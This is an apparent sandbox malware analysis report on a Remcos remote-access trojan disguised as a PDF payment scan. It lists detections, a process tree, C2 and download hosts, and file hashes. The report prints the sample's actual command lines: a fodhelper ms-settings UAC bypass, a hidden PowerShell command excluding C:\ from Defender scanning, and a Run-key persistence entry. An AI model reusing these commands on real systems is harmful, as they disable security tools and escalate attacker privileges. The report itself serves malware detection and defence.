Malware Analysis Report

2024-11-13 18:48

Sample ID 240725-sfjp1svgnn
Target Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe
SHA256 e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9
Tags
remcos remotehost discovery persistence rat collection credential_access stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9

Threat Level: Known bad

The file Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost discovery persistence rat collection credential_access stealer

Remcos

Credentials from Password Stores: Credentials from Web Browsers

NirSoft WebBrowserPassView

Detected Nirsoft tools

NirSoft MailPassView

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Accesses Microsoft Outlook accounts

Adds Run key to start application

Suspicious use of SetThreadContext

System Network Configuration Discovery: Internet Connection Discovery

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Modifies registry class

Suspicious use of AdjustPrivilegeToken

Modifies system certificate store

Suspicious behavior: MapViewOfSection

Script User-Agent

Runs ping.exe

Suspicious use of FindShellTrayWindow

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-25 15:04

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-25 15:03

Reported

2024-07-25 15:06

Platform

win7-20240705-en

Max time kernel

148s

Max time network

146s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe"

Signatures

Remcos

rat remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 804 set thread context of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 804 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 804 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 804 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 804 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 804 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 804 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2664 wrote to memory of 2700 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2664 wrote to memory of 2700 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2664 wrote to memory of 2700 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2664 wrote to memory of 2700 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2700 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2700 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2700 wrote to memory of 2824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1804 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1804 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1804 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1804 wrote to memory of 2180 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1804 wrote to memory of 2180 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1804 wrote to memory of 2180 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2700 wrote to memory of 2044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2044 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2044 wrote to memory of 1556 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2044 wrote to memory of 1556 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2044 wrote to memory of 1556 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2700 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 584 wrote to memory of 448 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 584 wrote to memory of 448 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 584 wrote to memory of 448 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2700 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2836 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2836 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2836 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2836 wrote to memory of 740 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2836 wrote to memory of 740 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2836 wrote to memory of 740 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2700 wrote to memory of 1596 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1596 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1596 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1596 wrote to memory of 2476 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1596 wrote to memory of 2476 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1596 wrote to memory of 2476 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2476 wrote to memory of 2020 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2476 wrote to memory of 2020 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2476 wrote to memory of 2020 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2020 wrote to memory of 3040 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2020 wrote to memory of 3040 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2020 wrote to memory of 3040 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2700 wrote to memory of 1608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 1608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1608 wrote to memory of 2364 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1608 wrote to memory of 2364 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1608 wrote to memory of 2364 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FB9E.tmp\FB9F.tmp\FBA0.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\system32\cmd.exe

cmd.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM cmd.exe

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
DE 50.7.86.226:443 2005.filemail.com tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

memory/804-0-0x0000000000220000-0x0000000000221000-memory.dmp

memory/804-1-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CabF846.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\TarF858.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/2664-46-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2664-49-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2664-48-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\FB9E.tmp\FB9F.tmp\FBA0.bat

MD5 54147a112fd4c4fffbdeb2eeab926f59
SHA1 7f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA512 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

C:\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2476-83-0x000000001B5A0000-0x000000001B882000-memory.dmp

memory/2476-84-0x0000000001CD0000-0x0000000001CD8000-memory.dmp

C:\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

memory/2664-104-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2664-102-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1788-114-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-116-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-110-0x00000000021A0000-0x00000000031A0000-memory.dmp

memory/1788-115-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-111-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-118-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-120-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-121-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-124-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-125-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-123-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-122-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-127-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-131-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-132-0x000000001B4F0000-0x000000001B572000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 e0ff1078a8f0847b0a3c6b6e21ea7006
SHA1 8646dbff4f0a52409d5d053fde182302df1bf7f0
SHA256 edee80d50ff42c526d7914bd652c30db1ae59a9f6e013637bb04a0416bd39a23
SHA512 8f2a6f08ca6da974d58aa6afeb85566351e2d09e42eed9e75885ef6df29c42c11eb54bc1b1fe4ed4dae41ae3764721113e00c02f61d0a2ef91f126ea1a224dab

memory/1788-139-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-140-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-144-0x000000001AEA0000-0x000000001AEB9000-memory.dmp

memory/1788-147-0x000000001AEA0000-0x000000001AEB9000-memory.dmp

memory/1788-148-0x000000001AEA0000-0x000000001AEB9000-memory.dmp

memory/1788-150-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-153-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-154-0x000000001B4F0000-0x000000001B572000-memory.dmp

memory/1788-161-0x000000001B4F0000-0x000000001B572000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-25 15:03

Reported

2024-07-25 15:07

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe"

Signatures

Remcos

rat remcos

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Public\xkn.exe N/A
